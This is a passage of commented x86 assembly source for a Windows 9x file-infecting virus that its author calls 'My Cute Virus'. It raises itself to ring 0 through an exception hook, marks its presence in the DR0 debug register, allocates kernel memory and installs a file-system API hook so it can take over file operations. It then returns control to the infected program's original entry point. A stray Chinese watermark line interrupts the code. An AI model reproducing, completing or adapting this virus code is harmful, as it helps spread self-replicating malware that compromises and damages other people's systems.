; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************
StopToRunVirusCode:
@1 = StopToRunVirusCode
逆风编程精品
xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]
RestoreSE:
pop dword ptr fs:[ebx]
pop eax
; *************************************
; * Return Original App to Execute *
; *************************************
pop ebp
push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack
ret ; Return to Original App Entry Point
; *********************************************************
; * Ring0 Virus Game Initial Program *
; *********************************************************
MyExceptionHook:
@2 = MyExceptionHook
jz InstallMyFileSystemApiHook
; *************************************
; * Do My Virus Exist in System !? *
; *************************************
mov ecx, dr0
jecxz AllocateSystemMemoryPage
add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException
; *************************************
; * Return to Ring3 Initial Program *
; *************************************
ExitRing0Init:
mov [ebx-04h], bp ;
shr ebp, 16 ; Restore Exception
mov [ebx 02h], bp ;
iretd
; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************
AllocateSystemMemoryPage:
mov dr0, ebx ; Set the Mark of My Virus Exist in System
push 00000000fh ;
push ecx ;
push 0ffffffffh ;
push ecx ;
push ecx ;
push ecx ;
push 000000001h ;
push 000000002h ;
int 20h ; VMMCALL _PageAllocate
_PageAllocate = $ ;
dd 00010053h ; Use EAX, ECX, EDX, and flags
add esp, 08h*04h
xchg edi, eax ; EDI = SystemMemory Start Address
lea eax, MyVirusStart-@2[esi]
iretd ; Return to Ring3 Initial Program
; *************************************
; * Install My File System Api Hook *
; *************************************
InstallMyFileSystemApiHook:
lea eax, FileSystemApiHook-@6[edi]
push eax ;
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $
dd 00400067h ; Use EAX, ECX, EDX, and flags
mov dr0, eax ; Save OldFileSystemApiHook Address
pop eax ; EAX = FileSystemApiHook Address
; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx]
mov OldInstallFileSystemApiHook-@3[eax], edx
; Modify IFSMgr_InstallFileSystemApiHook Entry Point
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax
cli
jmp ExitRing0Init
; *********************************************************
; * Code Size of Merge Virus Code Section *
; *********************************************************
CodeSizeOfMergeVirusCodeSection = offset $
; *********************************************************
; * IFSMgr_InstallFileSystemApiHook *
; *********************************************************
InstallFileSystemApiHook:
push ebx
call @4 ;
@4: ;
pop ebx ; mov ebx, offset FileSystemApiHook
add ebx, FileSystemApiHook-@4 ;
push ebx
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ; Use EAX, ECX, EDX, and flags
pop eax
; Call Original IFSMgr_InstallFileSystemApiHook
; to Link Client FileSystemApiHook
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